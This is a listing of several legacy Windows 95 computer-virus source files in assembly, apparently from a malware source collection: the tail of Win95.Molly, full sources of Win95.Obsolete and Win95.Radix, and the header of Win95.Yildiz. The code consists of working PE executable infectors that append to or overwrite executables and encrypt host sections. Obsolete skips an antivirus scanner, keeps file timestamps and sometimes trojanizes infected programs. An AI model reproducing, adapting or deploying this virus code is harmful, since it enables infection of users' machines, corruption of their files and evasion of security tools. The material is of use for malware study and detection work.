cmp byte ptr [ebx+(semaphore-r0delta)],00h
jnz exit_infect
inc byte ptr [ebx+(semaphore-r0delta)]
lea esi,top_chain rd_ ; Make null top chain, so we
lodsd ; avoid monitors by means of
xor edx,edx ; cutting their balls :)
xchg [eax],edx
pushad
lea edi,filename rd_
push edi
mov esi,PtrIOREQ ; ESI = Ptr to IOREQ struc
mov esi,[esi.2Ch] ; ESI = Ptr to UNI filename
uni2asciiz:
movsb ; Convert to ASCIIz
dec edi
cmpsb
jnz uni2asciiz
pop edx ; EDI = Ptr to ASCIIz filename
cmp dword ptr [edi-05h],"EXE." ; Infect only EXE files
jnz AvoidInfection
IF DEBUG
cmp dword ptr [edi-0Ch],"TAOG"
jnz AvoidInfection
ENDIF
mov esi,edx ; ESI = Ptr to filename
xor eax,eax
mov ah,R0_FILEATTRIBUTES/100h ; EAX = Function
; GETFILEATTRIBUTES
push eax
call R0_FileIO
pop eax
jc AvoidInfection
inc eax ; EAX = Function
; SETFILEATTRIBUTES
push esi
push ecx
push eax
xor ecx,ecx ; ECX = New attributes
call R0_FileIO
jc RestoreAttributes
xor eax,eax
cdq
mov ah,R0_OPENCREATFILE/100h ; EAX = Function OPENFILE
mov ecx,edx ; ECX = 0
inc edx ; EDX = 1
mov ebp,edx
inc ebp
xchg ebp,ebx ; EBX = 2
call R0_FileIO
jc RestoreAttributes
xchg eax,ebx ; EBX = File handle
xor eax,eax
mov ah,R0_READFILE/100h ; EAX = Function READFILE
push eax
push 04h
pop ecx ; ECX = Bytes to read (4)
push 3Ch
pop edx ; EDX = Where to read (3C)
lea esi,pe_header_ptr rd ; ESI = Where store data
call R0_FileIO
lodsd
xchg eax,edx ; EDX = Where to read
pop eax ; EAX = Function READFILE
lea esi,pe_header rd ; ESI = Where store data
xor ecx,ecx
mov ch,04h ; ECX = Bytes to read (1K)
call R0_FileIO
cmp word ptr [esi],"EP"
jnz CloseFile
mov al,"M"-"O"+"L"-"L"+"Y" ; Mark in the PE header
cmp byte ptr [esi+1Ah],al
jz CloseFile
mov byte ptr [esi+1Ah],al
mov edi,esi
movzx eax,word ptr [edi+06h] ; Get last section of header
dec eax
imul eax,eax,28h
add esi,eax
add esi,78h
mov edx,[edi+74h]
shl edx,03h
add esi,edx ; ESI = last section header
; EDI = PE header
mov [esi+24h],0E0000000h ; New sectionz attributes
and dword ptr [edi+0A0h],00h ; Nulify possible .reloc
and dword ptr [edi+0A4h],00h
cmp dword ptr [esi],"ler."
jnz CloseFile
cmp word ptr [esi+04h],"co"
jnz CloseFile
; Oh, wtf, OVERWRITE! ;)
mov dword ptr [esi],"lom." ; .reloc -> .molly
mov word ptr [esi+4],"yl"
and dword ptr [esi+18h],00h ; Clear PointerToRelocations
and word ptr [esi+20h],00h ; Clear NumberOfRelocations
push dword ptr [esi+14h] ; Where copy virus
mov eax,virus_size
mov [esi+08h],eax ; VirtualSize -> virus size
mov ecx,[edi+3Ch]
cdq ; Align, sucker
push eax
div ecx
pop eax
sub ecx,edx
add eax,ecx
mov [esi+10h],eax ; SizeOfRawData -> aligned
; virus size
mov eax,[esi+0Ch] ; New EIP
xchg eax,[edi+28h] ; Put new EIP and get old one
mov OldEIP rd,eax ; Save it
push eax
xor eax,eax
mov ah,R0_WRITEFILE/100h ; Write the modified header
inc eax
push eax
xor ecx,ecx
mov ch,04h
mov edx,pe_header_ptr rd
lea esi,pe_header rd
call R0_FileIO
fild real8 ptr [ebp+(r0fio-r0delta)] ; Fix R0_FileIO VxDJmp...
fistp real8 ptr [ebp+(R0_FileIO-r0delta)]
pop eax ; Write virus
pop ecx
pop edx
lea esi,virus_start rd
call R0_FileIO
CloseFile:
xor eax,eax
mov ah,R0_CLOSEFILE/100h
call R0_FileIO
RestoreAttributes:
pop eax
pop ecx
pop esi
call R0_FileIO
AvoidInfection:
popad
mov [eax],edx ; Restore top chain
dec byte ptr [ebx+(semaphore-r0delta)]
exit_infect:
popad
popfd
jmp ExitFileSystemHook
; input:
; ESI - Any position in the page where we want to search
; ECX - Search limit (number of pages(limit)/10)
; output:
; EAX - Base address of module/process
GetImageBase:
pushad
and esi,0FFFF0000h
_@1: cmp word ptr [esi],"ZM"
jz CheckPE
_@2: sub esi,00010000h
loop _@1
jmp WeFailed
CheckPE:
mov edi,[esi.3Ch]
add edi,esi
cmp word ptr [edi],"EP"
jnz _@2
mov [esp.PUSHAD_EAX],esi
WeFailed:
popad
ret
; --- Some shit
db 00h,"[Win95.Molly] (c) 1999 Billy Belcebu/iKX",00h
; --- Virus heap data
virus_end label byte
filename db 100h dup (00h)
pe_header db 400h dup (00h)
heap_end label byte
molly ends
end virus

View File

@ -0,0 +1,854 @@
;============================================================================
;
;
; NAME: Win95.Obsolete v1.00
; TYPE: Direct-action variable encrypting PE-infector.
; OS: Windoze95 (my version that is).
; SIZE: 1400-sumptin' bytes (yuck!).
; AUTHOR: T-2000 / [Immortal Riot].
; E-MAIL: T2000_@hotmail.com
; DATE: December 1998 - February 1999.
; PAYLOAD: Trojanizes files.
;
;
; Driven by the painful thought that my virii would never make the rounds
; again, I had to abandon my soulmate DOS and start writing for the Win32-
; beast... may the Incubus get me...
;
; Obsolete is a 32-bit virus specifically written for Windoze95, however,
; it may or may not work correctly under other Win95-releases than mine,
; this due the fact that it uses two static API's (namely GetModuleHandleA
; and GetProcAddressA). When an infected file is executed the virus will
; try to infect up to three PE EXE/SCR files in the Windoze, System, and
; current directory. Files starting with the DWORD 'SCAN' will be excluded
; from infection, I assume McFuck's Win95-SCAN does a sanity-check, though
; I haven't verified this. Filedates/times will be preserved during the
; infection-process, and the virus won't be bothered by readonly-attributes.
; Obsolete doesn't fix a PE's alignments, Win95 doesn't give a fuck while
; WinNT does. Infection is achieved by adding the virusbody to the end of
; the victim's last section and pointing Entrypoint_RVA to this position.
; PE's are physically cut-off after the virusbody, this means that infected
; files can both grow or shrink in size. To make this heap of API's a bit
; less trivial I made it variable encrypt the last section of the host-file,
; it should harden-up recovery for the AV-pigs. Besides the virus itself is
; also variable encrypted with a seperate key. The payload is rather "harm-
; less" from my point of view, every now & then it trojanizes the file it is
; infecting, trojanized files will generate a soundblaster beep, display an
; OK-box with a message, and then exit the current process, they won't pass
; control back to their host anymore, but are still cleanable.
;
; Now why is it that almost everybody is infecting PE's by adding to the
; last section? (being called the "29A-technique" by a certain group of
; braggers). For instance, you are changing the section's flags, in Windoze
; you should always stay the fuck off things that ain't yours. Furthermore,
; when you overwrite the (supposed to be) zero padding-bytes with your virus,
; you might just as well overwrite overlay-data, and what if you decide to
; stay resident in the "stolen" section? it is very likely that the section's
; virtualsize will overlap with your virus, and thus crash the system.
;
;
; CREDITS:
;
; Thanks to Lord Julus for writing that PE-infection guide which showed me
; the basics of Win32-programming, further more JFK's One was of much help
; as it was well commented, yet not too complicated. Biggest thanks go to
; Virogen and Murkry for teaching me the steps of how to infect a PE-file.
; Unfortunately Johnny Panic's info was a bit too advanched for me to
; understand as for now, and TechnoDrunk's advice was as usual hidden
; between a large amount of polymorphic junk-comments. Much information was
; gathered from the excellent PE-essays written by Micheal J. O'Leary and
; B. Luevelsmeyer (though the last one mentioned contained some errors).
;
; As this is my 1st Win32-virus, errors are very likely to exist in this
; source, if you do find any of them, and/or have any advice for me regarding
; Win32-coding, please do inform me about it.
;
; P.S. First generations will crash on exit.
;
; P.P.S. How the fuck do I smash sectors in Win32 ?
;
;============================================================================
ORG 0
.386p
.MODEL FLAT
.DATA
DD 0 ; Uch, without this the file will
; crash, don't ask me why...
EXTRN CreateThreadA:PROC ; GetProcAddress seems to need these.
EXTRN MessageBoxIndirectA:PROC
.CODE
Off = 0
On = 1
Debug_Mode = On ; If switched on, only DUM*.*
; will be infected.
Files_Per_Dir EQU 3 ; 3 files per directory.
Marker_File EQU 'T2IR' ; Creeping through ur files.
Virus_Size EQU (Virus_End-START) ; Physical virussize.
Virus_Size_Mem EQU (Virus_End_Mem-START) ; Virtual virussize.
START:
PUSHFD ; Save flags & registers.
PUSHAD
CALL Get_Delta ; Get our position in memory.
Get_Delta: POP ESI
SUB ESI, (Get_Delta-START)
MOV AL, 0 ; Load initial virus-key.
Initial_Key = BYTE PTR $-1
MOV EBX, (Encrypted-START)
MOV ECX, (Virus_End-Encrypted)
Decrypt_Byte: XOR [ESI+EBX], AL ; Decrypt a byte.
INC EBX ; Next one please.
ADD AL, 0 ; X-Ray, away.
Sliding_Key = BYTE PTR $-1
LOOP Decrypt_Byte ; And repeat the process.
Encrypted: ; All that comes after this is kept encrypted in PE's.
; Get image-base, this method should also work
; if the image is loaded at a different base
; than the one specified in the PE-header.
MOV EAX, ESI
SUB EAX, 12345678h
Virus_RVA = DWORD PTR $-4
MOV [ESI+(Host_Image_Base-START)], EAX
ADD [ESI+(Old_EIP-START)], EAX
MOV EAX, (KERNEL32_API-START)
LEA EDI, [ESI+(K32_API_Addresses-START)]
CALL Retrieve_API
JECXZ JMP_Exec_Host
JMP Begin_Search
Payload_Switch = BYTE PTR $-1
Trojan: ; Trojanized files will continue execution here.
; Retrieve API-addresses in USER32.DLL.
MOV EAX, (USER32_API-START)
CALL Retrieve_API
JECXZ JMP_Exec_Host
; Generate a soundblaster-beep.
PUSH MB_ICONEXCLAMATION
CALL [ESI+(MessageBeep-START)]
; Display a box with a message.
PUSH MB_ICONEXCLAMATION
LEA EAX, [ESI+(Window_Name-START)]
PUSH EAX
LEA EAX, [ESI+(Payload_Msg-START)]
PUSH EAX
PUSH 0
CALL [ESI+(MessageBoxA-START)]
; Exit current process.
CALL [ESI+(ExitProcess-START)]
Window_Name DB 'Win95.Obsolete v1.00', 0
Payload_Msg DB 'MAN HAS BECOME OBSOLETE... FEAR THE MACHINES!', 0
JMP_Exec_Host: JMP Execute_Host
Begin_Search:
LEA EBX, [ESI+(Current_Directory-START)]
MOV ECX, MAX_PATH
PUSH EBX
; Save original path.
PUSH EBX
PUSH ECX
CALL [ESI+(GetCurrentDirectoryA-START)]
; Obtain path to Windoze-directory.
ADD EBX, ECX
PUSH EBX
PUSH ECX
PUSH EBX
CALL [ESI+(GetWindowsDirectoryA-START)]
; Obtain path to Windoze\System-directory.
ADD EBX, ECX
PUSH EBX
PUSH ECX
PUSH EBX
CALL [ESI+(GetSystemDirectoryA-START)]
; Infect files in Windoze-directory.
MOV EBX, [ESI+(SetCurrentDirectoryA-START)]
CALL EBX
CALL Infect_Directory
; Infect files in Windoze\System-directory.
CALL EBX
CALL Infect_Directory
; Infect files in the current directory.
CALL EBX
CALL Infect_Directory
Execute_Host: MOV ECX, 0
Section_Size = DWORD PTR $-4
JECXZ Virus_Exit
MOV EBX, 400000h
Host_Image_Base = DWORD PTR $-4
ADD EBX, OFFSET Carrier
RVA_Encrypted = DWORD PTR $-4
MOV AL, 0
Init_K_Section = BYTE PTR $-1
Decr_Section: XOR [EBX], AL ; Decrypt the host's section.
INC EBX
ADD AL, 0
Slide_K_Section = BYTE PTR $-1
LOOP Decr_Section
Virus_Exit: POPAD ; Restore registers & flags.
POPFD
MOV EAX, OFFSET Carrier ; EAX = EIP of program.
Old_EIP = DWORD PTR $-4
JMP EAX
Infect_Directory:
PUSHAD
; Reset infection-counter.
AND BYTE PTR [ESI+(Infect_Counter-START)], 0
LEA EAX, [ESI+(Search_Buffer-START)]
PUSH EAX
LEA EAX, [ESI+(File_Spec-START)]
PUSH EAX
CALL [ESI+(FindFirstFileA-START)]
CMP EAX, -1 ; Abort on error.
JE Exit_Infect
XCHG EBP, EAX
Infect_Loop: CMP BYTE PTR [ESI+(Infect_Counter-START)], Files_Per_Dir
JNB Exit_Infect
Infect_File: PUSH EBP
LEA EBX, [ESI+(Search_Buffer.Find_File_Name-START)]
Check_File_Ext: MOV EDI, EBX
XOR AL, AL ; Find end of ASCIIZ-string.
MOV CH, 0FFh
CLD
REPNZ SCASB
MOV EAX, [EDI-5] ; Get last DWORD of filename.
CALL Upcase_EAX
CMP EAX, 'EXE.' ; Standard .EXE-file?
JE Check_Filename
Go_Find_Next_F: CMP EAX, 'RCS.' ; Screensaver-file?
JNE Find_Next_File
Check_Filename: MOV EAX, [EBX] ; Get 1st DWORD of filename.
CALL Upcase_EAX
CMP EAX, 'NACS' ; Don't infect McFuck SCAN,
JE Go_Find_Next_F ; (most overused Windoze AV).
Save_File_Attr: PUSH EBX
CALL [ESI+(GetFileAttributesA-START)]
PUSH EAX
PUSH EBX
; Clear the readonly-flag.
AND AL, NOT FILE_ATTRIBUTE_READONLY
PUSH EAX
PUSH EBX
CALL [ESI+(SetFileAttributesA-START)]
XOR EBP, EBP
PUSH EBP ; Open the file.
PUSH FILE_ATTRIBUTE_NORMAL
PUSH OPEN_EXISTING
PUSH EBP
PUSH EBP
PUSH GENERIC_READ OR GENERIC_WRITE
PUSH EBX
CALL [ESI+(CreateFileA-START)]
CMP EAX, -1 ; Error?
JE Restore_Attr
MOV [ESI+(File_Handle-START)], EAX
PUSH EAX
XCHG EDI, EAX
; Save the host's time/date of creation,
; last access, and last write.
LEA EAX, [ESI+(Victim_Last_Write_Time-START)]
PUSH EAX
PUSH EAX
ADD EAX, 8
PUSH EAX
ADD EAX, 8
PUSH EAX
PUSH EDI
CALL [ESI+(GetFileTime-START)]
PUSH EBP
PUSH EDI
CALL [ESI+(GetFileSize-START)]
MOV [ESI+(Host_Size-START)], EAX
ADD EAX, Virus_Size
; Like, allocate memory for the mapped file, or
; whatever the fuck this shit is neccesary for.
PUSH EBP
PUSH EAX
PUSH EBP
PUSH PAGE_READWRITE
PUSH EBP
PUSH EDI
CALL [ESI+(CreateFileMappingA-START)]
OR EAX, EAX ; Error?
JZ Close_File
PUSH EAX
; This should map the file in our
; allocated memory, am I not right???
PUSH EBP ; WHOLE file.
PUSH EBP
PUSH EBP
PUSH FILE_MAP_WRITE
PUSH EAX
CALL [ESI+(MapViewOfFile-START)]
OR EAX, EAX ; Error?
JZ Close_Mapping
PUSH EAX
CMP [EAX.EXE_Mark], 'ZM' ; File must be .EXE-type.
JNE Unmap_File
CMP [EAX.Reloc_Table], 40h ; It has a NE/PE-header?
JB Unmap_File
MOV ECX, [EAX+3Ch] ; Obtain pointer to PE-header.
LEA EDI, [EAX+ECX] ; EDI = PE-header.
CMP [EDI.PE_Mark], 'EP' ; Make sure it's a PE-file.
JNE Unmap_File
; A bit redundant, I guess...
CMP [EDI.CPU_Type], 14Ch ; This PE is for 386+'s ?
JNE Unmap_File
; === Avoid DLL's. ===
TEST BYTE PTR [EDI.PE_Flags+1], 00100000b
JNZ Unmap_File
; === Did we already infect it before? ===
CMP [EDI.Reserved_1], Marker_File
JE Unmap_File
XCHG EBX, EAX ; EBX = Mapping-address.
; === Get last section-header. ===
XOR EAX, EAX
MOV AX, [EDI.Number_Of_Sections]
DEC AX
MOV ECX, 40
MUL ECX
MOV EDX, EDI ; EDX = PE-header.
MOV BP, [EDX.Headers_Size]
ADD EBP, 18h
ADD EBP, EAX
ADD EBP, EDX ; EBP = Last section-header.
MOV EAX, [EBP.Section_Start]
ADD EAX, [EBP.Section_Size_Raw]
LEA EDI, [EAX+EBX] ; Offset of virus in file.
PUSHAD
MOV ECX, Virus_Size ; Copy virus to mapped file.
CLD
REP MOVSB
POPAD
ADD EAX, Virus_Size ; Set new size of host.
MOV [ESI+(Host_Size-START)], EAX
PUSH [EDX.Entry_Point]
POP DWORD PTR [EDI+(Old_EIP-START)]
; Calculate virus' new EIP RVA.
MOV EAX, [EBP.Section_RVA]
ADD EAX, [EBP.Section_Size_Raw]
MOV [EDX.Entry_Point], EAX ; Set our new entrypoint.
MOV [EDI+(Virus_RVA-START)], EAX
IN AX, 40h ; Get a random value in AL.
XOR AL, AH
AND AL, 11111100b ; Trojanize this victim?
JNZ Skip_Trojanize
; Patch JMP to let it point to the trojan-code.
MOV [EDI+(Payload_Switch-START)], AL
Skip_Trojanize: MOV EAX, [EBP.Section_Size_Raw]
MOV ECX, [EBP.Section_Size_Virtual]
; Always pick the smallest size.
CMP EAX, ECX ; The other one is smaller?
JNB Not_Bigger ; No, leave things this way.
XCHG ECX, EAX ; Else use the smaller size.
Not_Bigger: MOV [EDI+(Section_Size-START)], ECX
ADD [EBP.Section_Size_Virtual], Virus_Size_Mem
ADD [EBP.Section_Size_Raw], Virus_Size
ADD [EDX.Image_Size], Virus_Size
; Set object-flags: code, executable, readable, and writable.
OR [EBP.Section_Flags], 11100000000000000000000000100000b
JECXZ Encrypt_Virus ; Don't let LOOP overflow.
ADD EBX, [EBP.Section_Start]
PUSH [EBP.Section_RVA]
POP DWORD PTR [EDI+(RVA_Encrypted-START)]
IN AX, 40h ; Get random keys.
MOV [EDI+(Init_K_Section-START)], AL
MOV [EDI+(Slide_K_Section-START)], AH
Encr_Section: XOR [EBX], AL ; Encrypt host's last section.
INC EBX
ADD AL, AH
LOOP Encr_Section
Encrypt_Virus: IN AX, 40h ; Get a random value in AX.
MOV [EDI+(Initial_Key-START)], AL
MOV [EDI+(Sliding_Key-START)], AH
ADD EDI, (Encrypted-START)
MOV ECX, (Virus_End-Encrypted)
Encrypt_Byte: XOR [EDI], AL ; Encrypt virusbody.
INC EDI
ADD AL, AH
LOOP Encrypt_Byte
; Mark this host as being infected.
MOV [EDX.Reserved_1], Marker_File
; We succesfully infected yet another file.
INC BYTE PTR [ESI+(Infect_Counter-START)]
Unmap_File: CALL [ESI+(UnmapViewOfFile-START)]
Close_Mapping: CALL [ESI+(CloseHandle-START)]
Close_File: PUSH 0
PUSH 0
PUSH 12345678h
Host_Size = DWORD PTR $-4
PUSH DWORD PTR [ESI+(File_Handle-START)]
CALL [ESI+(SetFilePointer-START)]
PUSH DWORD PTR [ESI+(File_Handle-START)]
CALL [ESI+(SetEndOfFile-START)]
POP EAX
PUSH EAX ; Restore original filedates
ADD EAX, 8 ; and times.
PUSH EAX
ADD EAX, 8
PUSH EAX
PUSH 12345678h
File_Handle = DWORD PTR $-4
CALL [ESI+(SetFileTime-START)]
CALL [ESI+(CloseHandle-START)]
Restore_Attr: CALL [ESI+(SetFileAttributesA-START)]
Find_Next_File: POP EBP
; Now go find the next .EXE-file.
LEA EAX, [ESI+(Search_Buffer-START)]
PUSH EAX
PUSH EBP
CALL [ESI+(FindNextFileA-START)]
OR EAX, EAX
JNZ Infect_Loop
Exit_Infect: POPAD
RET
Author DB '(c) 1998-1999 by T-2000 / Immortal Riot', 0
; EAX = Offset to module-name.
; EDI = Pointer to buffer API-addresses.
Retrieve_API:
PUSH ESI
MOV EBX, ESI ; EBX holds the delta-offset.
ADD ESI, EAX ; Module-name.
; === Get the base-address of the given module. ===
PUSH ESI
CALL [EBX+(GetModuleHandleA-START)]
XCHG ECX, EAX
JECXZ Exit_Get_API
MOV EBP, ECX ; EBP = Module-base.
ADD ESI, 13 ; ESI = Start API-names.
Retrieve_Addr: PUSH ESI ; Retrieve the API's address.
PUSH EBP
CALL [EBX+(GetProcAddress-START)]
CLD ; Store the API-address.
STOSD
XCHG ECX, EAX
JECXZ Exit_Get_API
Find_End_API: LODSB ; Go to next API-name.
OR AL, AL ; Reached the end of ASCIIZ?
JNZ Find_End_API
CMP [ESI], AL ; We did 'em all?
JNZ Retrieve_Addr ; Nope, so continue loop.
Exit_Get_API: POP ESI
RET
; Don't use a lame AND to convert to uppercase, it'll
; screw things up with non-alfabethical characters.
Upcase_EAX:
ROL EAX, 8
CALL Upcase_AL
ROL EAX, 8
CALL Upcase_AL
ROL EAX, 8
CALL Upcase_AL
ROL EAX, 8
Upcase_AL: CMP AL, 'a'
JB Exit_Upcase_AL
CMP AL, 'z'
JA Exit_Upcase_AL
SUB AL, 'a' - 'A'
Exit_Upcase_AL: RET
; ********************* DATA AREA *******************************************
IF Debug_Mode
File_Spec DB 'DUM*.*', 0 ; Searchmask for debugmode.
ELSE
File_Spec DB '*.*', 0 ; Searchmask for wildmode.
ENDIF
; All API's used by the actual infection-process.
KERNEL32_API DB 'KERNEL32.dll', 0
DB 'GetWindowsDirectoryA', 0
DB 'GetSystemDirectoryA', 0
DB 'FindFirstFileA', 0
DB 'FindNextFileA', 0
DB 'CreateFileA', 0
DB 'CreateFileMappingA', 0
DB 'MapViewOfFile', 0
DB 'UnmapViewOfFile', 0
DB 'CloseHandle', 0
DB 'GetFileTime', 0
DB 'SetFileTime', 0
DB 'GetFileSize', 0
DB 'SetFilePointer', 0
DB 'SetEndOfFile', 0
DB 'GetCurrentDirectoryA', 0
DB 'SetCurrentDirectoryA', 0
DB 'GetFileAttributesA', 0
DB 'SetFileAttributesA', 0
DB 'ExitProcess', 0
DB 0
; This shit is only used by the trojan-code.
USER32_API DB 'USER32.dll', 0, 0, 0
DB 'MessageBoxA', 0
DB 'MessageBeep', 0
DB 0
; Fuck, these are hardcoded!
GetModuleHandleA DD 0BFF775BDh
GetProcAddress DD 0BFF76D5Ch
Virus_End:
K32_API_Addresses:
GetWindowsDirectoryA DD 0
GetSystemDirectoryA DD 0
FindFirstFileA DD 0
FindNextFileA DD 0
CreateFileA DD 0
CreateFileMappingA DD 0
MapViewOfFile DD 0
UnmapViewOfFile DD 0
CloseHandle DD 0
GetFileTime DD 0
SetFileTime DD 0
GetFileSize DD 0
SetFilePointer DD 0
SetEndOfFile DD 0
GetCurrentDirectoryA DD 0
SetCurrentDirectoryA DD 0
GetFileAttributesA DD 0
SetFileAttributesA DD 0
ExitProcess DD 0
U32_API_Addresses:
MessageBoxA DD 0
MessageBeep DD 0
Current_Directory DB MAX_PATH DUP(0)
Windows_Directory DB MAX_PATH DUP(0)
System_Directory DB MAX_PATH DUP(0)
Infect_Counter DB 0
Victim_Last_Write_Time DD 0, 0
Victim_Last_Access_Time DD 0, 0
Victim_Creation_Time DD 0, 0
Search_Buffer DB 666 DUP(0)
Virus_End_Mem:
; ???????????????????????????????????????????????????????????????????????????
Section_Header STRUC
Section_Name DB 8 DUP(0)
Section_Size_Virtual DD 0
Section_RVA DD 0
Section_Size_Raw DD 0
Section_Start DD 0
DD 0, 0
DW 0, 0
Section_Flags DD 0
Section_Header ENDS
Find_First_Next_Win32 STRUC
File_Attributes DD 0
Creation_Time DD 0, 0
Last_Accessed_Time DD 0, 0
Last_Written_Time DD 0, 0
Find_File_Size_High DD 0
Find_File_Size_Low DD 0
Find_Reserved_1 DD 0
Find_Reserved_2 DD 0
Find_File_Name DB 260 DUP(0)
Find_DOS_File_Name DB 13 DUP(0)
Find_First_Next_Win32 ENDS
EXE_Header STRUC
EXE_Mark DW 0 ; Marker valid .EXE-file: MZ or ZM.
Image_Mod_512 DW 0
Image_512_Pages DW 0
Reloc_Items DW 0
Header_Size_Mem DW 0
Min_Size_Mem DW 0
Max_Size_Mem DW 0
Program_SS DW 0
Program_SP DW 0
Checksum DW 0
Program_IP DW 0
Program_CS DW 0
Reloc_Table DW 0
EXE_Header ENDS
PE_Header STRUC
PE_Mark DD 0 ; PE-marker (PE/0/0).
CPU_Type DW 0
Number_Of_Sections DW 0
DD 0
Reserved_1 DD 0
DD 0
Headers_Size DW 0
PE_Flags DW 0
DW 8 DUP(0)
Entry_Point DD 0
DD 2 DUP(0)
Image_Base DD 0
Object_Align DD 0
File_Align DD 0
DW 0, 0
DW 0, 0
DW 0, 0
DD 0
Image_Size DD 0
PE_Header ENDS
; This shit ain't complete.
INCLUDE WIN32API.INC
Carrier:
PUSH 0
CALL ExitProcess
END START

View File

@ -0,0 +1,238 @@
; Win95.Radix by Radix16[MIONS]
; Made in Czech republic
;
;Hi,
;
;It's my first Ring3 virus for Win9x.Virus not testing WinNT system.
;
;Target : PE filez
;Virus size : 405(402)
;Resident : NO
;Polymorhic : NO
;
;Virus not dangerous, but .....
;
;Decription AVP:
;
;http://www.avp.ch/avpve/newexe/win95/radix.stm
;
;It is a harmless nonmemory resident parasitic Win9x virus. It searches
;for PE EXE files in the current directory, then writes itself to the
;middle of the file, to not used space at the end of the PE header.
;
;The virus does not manifest itself in any way. It contains the text:
;
; Radix16
;Greets to :
; Worf[MIONS]
; VirusBuster/29
; Prizzy/29A
;
;
;How to build:
; tasm32 -ml -m5 radix.asm
; tlink32 -Tpe -aa -c -x radix.obj,,, import32
; pewrsec radix.exe
;
;Contacty mee : Radix16@atlas.cz
; Radix16.cjb.net
.386p
locals
.Model Flat,STDCALL
extrn ExitProcess :proc
extrn GetModuleHandleA : proc
.Data
db ?
.Code
vStart label byte
Start:
db 68h
;Save old eip
oldip: dd offset exit
pushad
Call Next
id db 'Radix16'
Next:
pop ebp
mov esi,KERNEL32+3ch
lodsd
add eax,KERNEL32
xchg eax,esi
mov esi,dword ptr [esi+78h]
lea esi,dword ptr [esi+1ch+KERNEL32]
lodsd
mov eax,dword ptr [eax+KERNEL32]
add eax,KERNEL32
push eax
push 20060000h
push 0h
push 1h
db 68h
currPage:
dd FSTGENPAGE
push 1000dh
call eax
pop dword ptr [_VxDCALL0+ebp-X]
inc eax
jz _exit
inc eax
;allocation memory
push 00020000h or 00040000h
push 2h
push 80060000h
push 00010000h
call dword ptr [_VxDCALL0+ebp-X]
mov dword ptr [memory+ebp-X],eax
push 00020000h or 00040000h or 80000000h or 8h
push 0h
push 1h
push 2h
shr eax,12
push eax
push 00010001h
call dword ptr [_VxDCALL0+ebp-X]
;Create DTA
mov ah,1ah
mov edx,dword ptr [memory+ebp-X] ;buffer
add edx,1000h
call int21
mov ah,4eh ;FindFirstFile
lea edx,[_exe+ebp-X] ;What search
xor ecx,ecx ;normal attributes
tryanother:
call int21
jc _exit ;is filez ?
call _infect
mov ah,4fh ;FindNextFile
Jmp tryanother
_exit:
popad
ret
_exe db '*.*',0 ;filez search
int21:
;VxDCALL services
push ecx
push eax
push 002a0010h
call dword ptr [_VxDCALL0+ebp-X]
ret
FP: ;Set file pointer
mov ah,42h
cdq ;xor dx,dx
xor cx,cx
call int21
ret
_infect:
mov edx,dword ptr [memory+ebp-X] ;Name file
add edx,101eh
mov ax,3d02h ;Open File R/W
call int21
jc quit ;Error ?
xchg eax,ebx ;FileHandle
mov ah,3fh ;Read File
mov ecx,1000h ;Read 1000h bytes
mov edx,dword ptr [memory+ebp-X]
call int21
jc quitz ;Error ?
mov edi,edx
cmp word ptr [edi],'ZM' ;Test Header (EXE)
jne quitz ;yes or no ?
cmp word ptr [edi+32h],'61' ;Test infection
je quitz ;Yes, virus is in file ?
mov word ptr [edi+32h],'61' ;No ,Save ID to file
add edi,dword ptr [edi+3ch] ;Testing Portable Executable(PE)
cmp word ptr [edi],'EP'
jne quitz
mov esi,edi
mov eax,18h ;Shift image header
add ax,word ptr [edi+14h]
add edi,eax
;Search end section
movzx cx,word ptr [esi+06h]
mov ax,28h
mul cx
add edi,eax
mov ecx,dword ptr [esi+2ch]
mov dword ptr [esi+54h],ecx
push edi
sub edi,dword ptr [memory+ebp-X]
xchg edi,dword ptr [esi+28h]
mov eax,dword ptr [esi+34h]
add edi,eax
shr eax,12
mov dword ptr [currPage+ebp-X],eax
mov dword ptr [oldip+ebp-X],edi ;Save old EIP
pop edi
mov ecx,VirusSize
lea esi,[vStart+ebp-X]
rep movsb ;CopyVirus
xor al,al ;SetFilePointer 0=beginning file
call FP ;mov al,0
mov ah,40h ;Write to file
mov ecx,1000h
mov edx,dword ptr [memory+ebp-X]
call int21
quitz:
mov ah,3eh ;CloseFile
call int21
quit:
ret
exit:
vEnd label byte
ret
VirusSize equ vEnd-vStart
KERNEL32 equ 0bff70000h ;Win9X kernel address
FSTGENPAGE equ 000400000h/1000h
X equ offset id
_VxDCALL0 dd ?
memory dd ? ;Buffer
Virual_End:
ends
End Start

1133
LegacyWindows/Win95.Sk.asm Normal file

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,336 @@
; *************************************************************************
; ******************** ********************
; ******************** Win95.Yildiz ********************
; ******************** by ********************
; ******************** Black Jack ********************
; ******************** ********************
; *************************************************************************
comment ~
NAME: Win95.Yildiz
AUTHOR: Black Jack [independant Austrian Win32asm virus coder]
CONTACT: Black_Jack_VX@hotmail.com | http://www.coderz.net/blackjack
TYPE: Win9x direct acting/global ring3 resident PE header cavity virus
SIZE: 323 bytes (but of course infected files won't increase in size)
DESCRIPTION: When an infected file is run, the virus takes control. It then
tries to find the kernel32 base address by a simple algorithm
which should make it compatible with Win9X and WinME (although I
haven't tested it with the second one). After that it gets the
undocumented Win9X API VxDCall0 and uses it to call int 21h. The
VxDCall0 API is the very first exported API in Win9X; I don't
know which API is first in WinNT, that's why unpredictable
results may occur when the virus runs in that OS (I haven't tried
it out, but of course the virus can't work in NT).
Then it goes TSR (read more about this a bit later), and infects
all PE EXE files in the current directory by overwriting the
unused padding bytes in the PE header with the virus body.
The memory residency consist in infecting kernel32.dll in memory.
To do so, it creates a temporary file called "Yildiz." and writes
the first 4KB of kernel32.dll there. Then this file is infected
like any other PE file. And finally the content of the infected
temp file is read back into kernel32 memory. Yep, you have read
right, by using the int21h with VxDCall0 you can read from a file
into read-only memory! (This trick was discovered by Murkry/IkX,
read more about it in the comments to his Darkside virus source,
published in Xine#3).
As I have already said, the kernel32 is infected in memory just
like any other file, this means the entry point is set to the
virus, no APIs are hooked. As you should know, the entry point
of a DLL is a init routine that is called whenever the DLL is
loaded by a program. And since kernel32 is imported by all
programs, this means for us that whenever a program is run (and
kernel32 is mapped into the program's address space), our virus
will infect all PE EXE files in the directory of the program.
ASSEMBLE WITH:
tasm32 /mx /m yildiz.asm
tlink32 /Tpe /aa yildiz.obj,,, import32.lib
there's no need for PEWRSEC or a similar tool, because the
virus code is supposed to run in read-only memory anyways.
DISCLAIMER: I do *NOT* support the spreading of viruses in the wild.
Therefore, this source was only written for research and
education. Please do not spread it. The author can't be hold
responsible for what you decide to do with this source.
~
; ===========================================================================
virus_size EQU (virus_end - virus_start)
